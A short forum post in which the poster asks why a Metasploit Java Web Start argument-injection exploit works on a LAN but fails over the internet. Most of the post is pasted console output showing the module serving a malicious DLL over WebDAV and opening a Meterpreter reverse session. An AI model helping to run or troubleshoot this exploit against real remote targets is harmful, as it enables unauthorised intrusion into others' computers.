This metasploit module fails to work, if i use it over the internet. In a lan-area it works pretty well.
Code:
msf exploit(java_ws_arginject_altjvm) > exploit
[*] Exploit running as background job.
[-] Handler failed to bind to 95.X.X.X:6113
[*] Started reverse handler on 0.0.0.0:6113
[*] Using URL: hxxp://0.0.0.0:80/
[*] Local IP: hxxp://192.168.0.5:80/
[*] Server started.
[*] Request for "/" does not contain a sub-directory, redirecting to /3QZOcxOo/ ...
[*] Responding to "GET /3QZOcxOo/" request from 95.X.X.X:60576
[*] Sending js detection HTML to 95.X.X.X:60576...
[*] Responding to "GET /3QZOcxOo/uUW6gpQfujicR.shtml" request from 95.X.X.X:61148
[*] Sending JS version HTML to 95.X.X.X:61148...
[*] Responding to WebDAV "OPTIONS /" request from 192.168.0.10:1042
[*] Request for "/3QZOcxOo" does not contain a sub-directory, redirecting to /3QZOcxOo/ ...
[*] Received WebDAV "PROPFIND /3QZOcxOo/" request from 192.168.0.10:1042
[*] Sending directory multistatus for /3QZOcxOo/ ...
[*] Request for "/3QZOcxOo" does not contain a sub-directory, redirecting to /3QZOcxOo/ ...
[*] Received WebDAV "PROPFIND /3QZOcxOo/" request from 192.168.0.10:1042
[*] Sending directory multistatus for /3QZOcxOo/ ...
[*] Received WebDAV "PROPFIND /3QZOcxOo/jvm.dll" request from 192.168.0.10:1042
[*] Sending DLL multistatus for /3QZOcxOo/jvm.dll ...
[*] Responding to "GET /3QZOcxOo/jvm.dll" request from 192.168.0.10:1042
[*] Sending DLL to 192.168.0.10:1042...
[*] Sending stage (748032 bytes) to 95.X.X.X
[*] Meterpreter session 1 opened (192.168.0.5:6113 -> 95.X.X.X:60066) at 2010-05-04 12:47:22 +0100
same problem as the guy on top (hxxp://blog.metasploit.com/2010/04/java-web-start-argument-injection.html?showComment=1271428170411#c50095338 63542996215 )
jduck answered that this results from a not running WebClient service, but in my test case it is definitely running.
webdav is switching to the internal ip, maybe this is the problem.
Code:
[*] Responding to WebDAV "OPTIONS /" request from 192.168.0.10:1042